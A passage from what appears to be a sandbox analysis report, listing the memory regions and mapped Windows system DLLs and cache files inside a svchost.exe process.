Region: id = 1716 start_va = 0x7f0000 end_va = 0x7f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 1717 start_va = 0x800000 end_va = 0x800fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000800000" filename = "" Region: id = 1718 start_va = 0x810000 end_va = 0x829fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 1719 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 1720 start_va = 0x840000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 1721 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000850000" filename = "" Region: id = 1722 start_va = 0x860000 end_va = 0x8dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000860000" filename = "" Region: id = 1723 start_va = 0x8e0000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008e0000" filename = "" Region: id = 1724 start_va = 0x960000 end_va = 0x961fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 1725 start_va = 0x970000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 1726 start_va = 0x9f0000 end_va = 0x9f3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1727 start_va = 0xa00000 end_va = 0xa01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 1728 start_va = 0xa10000 end_va = 0xa13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1729 start_va = 0xa20000 end_va = 0xa2dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 1730 start_va = 0xa30000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 1731 start_va = 0xab0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000015.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000015.db") Region: id = 1732 start_va = 0xae0000 end_va = 0xae7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vsstrace.dll.mui" filename = "\\Windows\\System32\\en-US\\vsstrace.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\vsstrace.dll.mui") Region: id = 1733 start_va = 0xaf0000 end_va = 0xb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 1734 start_va = 0xb70000 end_va = 0xb70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b70000" filename = "" Region: id = 1735 start_va = 0xb80000 end_va = 0xb80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml3r.dll" filename = "\\Windows\\System32\\msxml3r.dll" (normalized: "c:\\windows\\system32\\msxml3r.dll") Region: id = 1736 start_va = 0xb90000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 1737 start_va = 0xbb0000 end_va = 0xbb2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wuaueng.dll.mui" filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui") Region: id = 1738 start_va = 0xc00000 end_va = 0xecefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1739 start_va = 0xed0000 end_va = 0xf35fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1740 start_va = 0xf40000 end_va = 0xf47fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 1741 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 1742 start_va = 0xfd0000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fd0000" filename = "" Region: id = 1743 start_va = 0xfe0000 end_va = 0xfe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000fe0000" filename = "" Region: id = 1744 start_va = 0x1010000 end_va = 0x101ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1745 start_va = 0x1060000 end_va = 0x107bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "firewallapi.dll.mui" filename = "\\Windows\\System32\\en-US\\FirewallAPI.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\firewallapi.dll.mui") Region: id = 1746 start_va = 0x1080000 end_va = 0x108ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 1747 start_va = 0x1090000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 1748 start_va = 0x10a0000 end_va = 0x10a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 1749 start_va = 0x10b0000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 1750 start_va = 0x1130000 end_va = 0x1131fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 1751 start_va = 0x1140000 end_va = 0x1140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001140000" filename = "" Region: id = 1752 start_va = 0x1150000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001150000" filename = "" Region: id = 1753 start_va = 0x1160000 end_va = 0x1167fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001160000" filename = "" Region: id = 1754 start_va = 0x1170000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 1755 start_va = 0x11f0000 end_va = 0x11fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000011f0000" filename = "" Region: id = 1756 start_va = 0x1200000 end_va = 0x120ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1757 start_va = 0x1210000 end_va = 0x121ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 1758 start_va = 0x1230000 end_va = 0x123ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "datastore.edb" filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb") Region: id = 1759 start_va = 0x1240000 end_va = 0x12bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 1760 start_va = 0x12c0000 end_va = 0x12c7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012c0000" filename = "" Region: id = 1761 start_va = 0x12d0000 end_va = 0x12dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012d0000" filename = "" Region: id = 1762 start_va = 0x12e0000 end_va = 0x12effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 1763 start_va = 0x12f0000 end_va = 0x12f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 1764 start_va = 0x1300000 end_va = 0x130ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 1765 start_va = 0x1310000 end_va = 0x131ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001310000" filename = "" Region: id = 1766 start_va = 0x1320000 end_va = 0x139ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001320000" filename = "" Region: id = 1767 start_va = 0x13a0000 end_va = 0x13a5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netcfgx.dll.mui" filename = "\\Windows\\System32\\en-US\\netcfgx.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netcfgx.dll.mui") Region: id = 1768 start_va = 0x13b0000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 1769 start_va = 0x1430000 end_va = 0x143ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001430000" filename = "" Region: id = 1770 start_va = 0x1440000 end_va = 0x144ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001440000" filename = "" Region: id = 1771 start_va = 0x1450000 end_va = 0x145ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001450000" filename = "" Region: id = 1772 start_va = 0x1460000 end_va = 0x146ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001460000" filename = "" Region: id = 1773 start_va = 0x1470000 end_va = 0x147ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001470000" filename = "" Region: id = 1774 start_va = 0x1480000 end_va = 0x148ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001480000" filename = "" Region: id = 1775 start_va = 0x1490000 end_va = 0x1490fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshtcpip.dll.mui" filename = "\\Windows\\System32\\en-US\\wshtcpip.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshtcpip.dll.mui") Region: id = 1776 start_va = 0x14a0000 end_va = 0x14a0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wship6.dll.mui" filename = "\\Windows\\System32\\en-US\\wship6.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wship6.dll.mui") Region: id = 1777 start_va = 0x14b0000 end_va = 0x14b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000014b0000" filename = "" Region: id = 1778 start_va = 0x1540000 end_va = 0x15bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001540000" filename = "" Region: id = 1779 start_va = 0x15e0000 end_va = 0x165ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000015e0000" filename = "" Region: id = 1780 start_va = 0x1690000 end_va = 0x170ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001690000" filename = "" Region: id = 1781 start_va = 0x1710000 end_va = 0x178ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001710000" filename = "" Region: id = 1782 start_va = 0x17a0000 end_va = 0x181ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 1783 start_va = 0x1820000 end_va = 0x182ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001820000" filename = "" Region: id = 1784 start_va = 0x1830000 end_va = 0x183ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001830000" filename = "" Region: id = 1785 start_va = 0x1840000 end_va = 0x184ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001840000" filename = "" Region: id = 1786 start_va = 0x1850000 end_va = 0x185ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001850000" filename = "" Region: id = 1787 start_va = 0x1860000 end_va = 0x186ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001860000" filename = "" Region: id = 1788 start_va = 0x1870000 end_va = 0x187ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001870000" filename = "" Region: id = 1789 start_va = 0x1880000 end_va = 0x18fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 1790 start_va = 0x1950000 end_va = 0x19cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001950000" filename = "" Region: id = 1791 start_va = 0x19f0000 end_va = 0x1a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1792 start_va = 0x1ac0000 end_va = 0x1b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ac0000" filename = "" Region: id = 1793 start_va = 0x1c30000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001c30000" filename = "" Region: id = 1794 start_va = 0x1d30000 end_va = 0x1e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d30000" filename = "" Region: id = 1795 start_va = 0x1e30000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e30000" filename = "" Region: id = 1796 start_va = 0x1ed0000 end_va = 0x1f4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ed0000" filename = "" Region: id = 1797 start_va = 0x1f60000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 1798 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 1799 start_va = 0x21f0000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 1800 start_va = 0x2280000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 1801 start_va = 0x2300000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002300000" filename = "" Region: id = 1802 start_va = 0x2410000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1803 start_va = 0x24a0000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 1804 start_va = 0x2520000 end_va = 0x261ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 1805 start_va = 0x26d0000 end_va = 0x26dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 1806 start_va = 0x26e0000 end_va = 0x27dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 1807 start_va = 0x2830000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002830000" filename = "" Region: id = 1808 start_va = 0x28b0000 end_va = 0x292ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028b0000" filename = "" Region: id = 1809 start_va = 0x2980000 end_va = 0x29fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002980000" filename = "" Region: id = 1810 start_va = 0x2a10000 end_va = 0x2a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a10000" filename = "" Region: id = 1811 start_va = 0x2b40000 end_va = 0x2bbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 1812 start_va = 0x2bc0000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1813 start_va = 0x2ce0000 end_va = 0x2d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ce0000" filename = "" Region: id = 1814 start_va = 0x2d60000 end_va = 0x2e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d60000" filename = "" Region: id = 1815 start_va = 0x2e60000 end_va = 0x305ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002e60000" filename = "" Region: id = 1816 start_va = 0x3060000 end_va = 0x315ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003060000" filename = "" Region: id = 1817 start_va = 0x3290000 end_va = 0x32cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003290000" filename = "" Region: id = 1818 start_va = 0x32d0000 end_va = 0x330ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000032d0000" filename = "" Region: id = 1819 start_va = 0x3320000 end_va = 0x339ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003320000" filename = "" Region: id = 1820 start_va = 0x3430000 end_va = 0x34affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003430000" filename = "" Region: id = 1821 start_va = 0x3520000 end_va = 0x359ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003520000" filename = "" Region: id = 1822 start_va = 0x35a0000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 1823 start_va = 0x39c0000 end_va = 0x3a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000039c0000" filename = "" Region: id = 1824 start_va = 0x3ae0000 end_va = 0x3b9ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 1825 start_va = 0x3bc0000 end_va = 0x3c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003bc0000" filename = "" Region: id = 1826 start_va = 0x3c60000 end_va = 0x3d5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c60000" filename = "" Region: id = 1827 start_va = 0x3d60000 end_va = 0x3e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 1828 start_va = 0x3e60000 end_va = 0x3f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 1829 start_va = 0x3f60000 end_va = 0x405ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 1830 start_va = 0x4060000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004060000" filename = "" Region: id = 1831 start_va = 0x4180000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 1832 start_va = 0x4220000 end_va = 0x429ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004220000" filename = "" Region: id = 1833 start_va = 0x42a0000 end_va = 0x439ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 1834 start_va = 0x43a0000 end_va = 0x539ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1835 start_va = 0x5410000 end_va = 0x548ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005410000" filename = "" Region: id = 1836 start_va = 0x5490000 end_va = 0x550ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005490000" filename = "" Region: id = 1837 start_va = 0x5690000 end_va = 0x570ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005690000" filename = "" Region: id = 1838 start_va = 0x5a10000 end_va = 0x5a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005a10000" filename = "" Region: id = 1839 start_va = 0x5ab0000 end_va = 0x5b2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ab0000" filename = "" Region: id = 1840 start_va = 0x5b50000 end_va = 0x5bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005b50000" filename = "" Region: id = 1841 start_va = 0x5d40000 end_va = 0x5dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 1842 start_va = 0x5df0000 end_va = 0x5e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005df0000" filename = "" Region: id = 1843 start_va = 0x6020000 end_va = 0x609ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006020000" filename = "" Region: id = 1844 start_va = 0x60a0000 end_va = 0x629ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060a0000" filename = "" Region: id = 1845 start_va = 0x6340000 end_va = 0x673ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006340000" filename = "" Region: id = 1846 start_va = 0x67d0000 end_va = 0x684ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000067d0000" filename = "" Region: id = 1847 start_va = 0x6860000 end_va = 0x68dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006860000" filename = "" Region: id = 1848 start_va = 0x6980000 end_va = 0x69fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006980000" filename = "" Region: id = 1849 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1850 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1851 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1852 start_va = 0x77450000 end_va = 0x77456fff monitored = 0 entry_point = 0x7745106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1853 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1854 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1855 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1856 start_va = 0xff110000 end_va = 0xff11afff monitored = 0 entry_point = 0xff11246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1857 start_va = 0x7fef1940000 end_va = 0x7fef1b13fff monitored = 0 entry_point = 0x7fef1976b00 region_type = mapped_file name = "msxml3.dll" filename = "\\Windows\\System32\\msxml3.dll" (normalized: "c:\\windows\\system32\\msxml3.dll") Region: id = 1858 start_va = 0x7fef3340000 end_va = 0x7fef3381fff monitored = 0 entry_point = 0x7fef3370048 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1859 start_va = 0x7fef3480000 end_va = 0x7fef3499fff monitored = 0 entry_point = 0x7fef3491ae4 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1860 start_va = 0x7fef3570000 end_va = 0x7fef37c2fff monitored = 0 entry_point = 0x7fef357236c region_type = mapped_file name = "wuaueng.dll" filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll") Region: id = 1861 start_va = 0x7fef3cc0000 end_va = 0x7fef3ccefff monitored = 0 entry_point = 0x7fef3cc6894 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1862 start_va = 0x7fef3cf0000 end_va = 0x7fef3d34fff monitored = 0 entry_point = 0x7fef3d23644 region_type = mapped_file name = "upnp.dll" filename = "\\Windows\\System32\\upnp.dll" (normalized: "c:\\windows\\system32\\upnp.dll") Region: id = 1863 start_va = 0x7fef3d40000 end_va = 0x7fef3d51fff monitored = 0 entry_point = 0x7fef3d490bc region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 1864 start_va = 0x7fef3d60000 end_va = 0x7fef3d69fff monitored = 0 entry_point = 0x7fef3d63994 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 1865 start_va = 0x7fef3d70000 end_va = 0x7fef3e41fff monitored = 0 entry_point = 0x7fef3e01a10 region_type = mapped_file name = "qmgr.dll" filename = "\\Windows\\System32\\qmgr.dll" (normalized: "c:\\windows\\system32\\qmgr.dll") Region: id = 1866 start_va = 0x7fef5c80000 end_va = 0x7fef5c9bfff monitored = 0 entry_point = 0x7fef5c811a0 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 1867 start_va = 0x7fef5ca0000 end_va = 0x7fef5d01fff monitored = 0 entry_point = 0x7fef5ca1198 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 1868 start_va = 0x7fef5d10000 end_va = 0x7fef5d49fff monitored = 0 entry_point = 0x7fef5d11010 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1869 start_va = 0x7fef6c80000 end_va = 0x7fef6ef9fff monitored = 0 entry_point = 0x7fef6cb2200 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 1870 start_va = 0x7fef6f00000 end_va = 0x7fef6f16fff monitored = 0 entry_point = 0x7fef6f09d50 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1871 start_va = 0x7fef7080000 end_va = 0x7fef716dfff monitored = 0 entry_point = 0x7fef70812a0 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1872 start_va = 0x7fef8aa0000 end_va = 0x7fef8b1bfff monitored = 0 entry_point = 0x7fef8aa11d4 region_type = mapped_file name = "wer.dll" filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll") Region: id = 1873 start_va = 0x7fef8c00000 end_va = 0x7fef8c0bfff monitored = 0 entry_point = 0x7fef8c0602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1874 start_va = 0x7fef8c10000 end_va = 0x7fef8c1efff monitored = 0 entry_point = 0x7fef8c19a48 region_type = mapped_file name = "mspatcha.dll" filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll") Region: id = 1875 start_va = 0x7fef8c20000 end_va = 0x7fef8c3afff monitored = 0 entry_point = 0x7fef8c21198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 1876 start_va = 0x7fef8ed0000 end_va = 0x7fef8ed7fff monitored = 0 entry_point = 0x7fef8ed1414 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1877 start_va = 0x7fef8ee0000 end_va = 0x7fef8f50fff monitored = 0 entry_point = 0x7fef8f251d0 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1878 start_va = 0x7fef8f60000 end_va = 0x7fef8f71fff monitored = 0 entry_point = 0x7fef8f689d0 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: 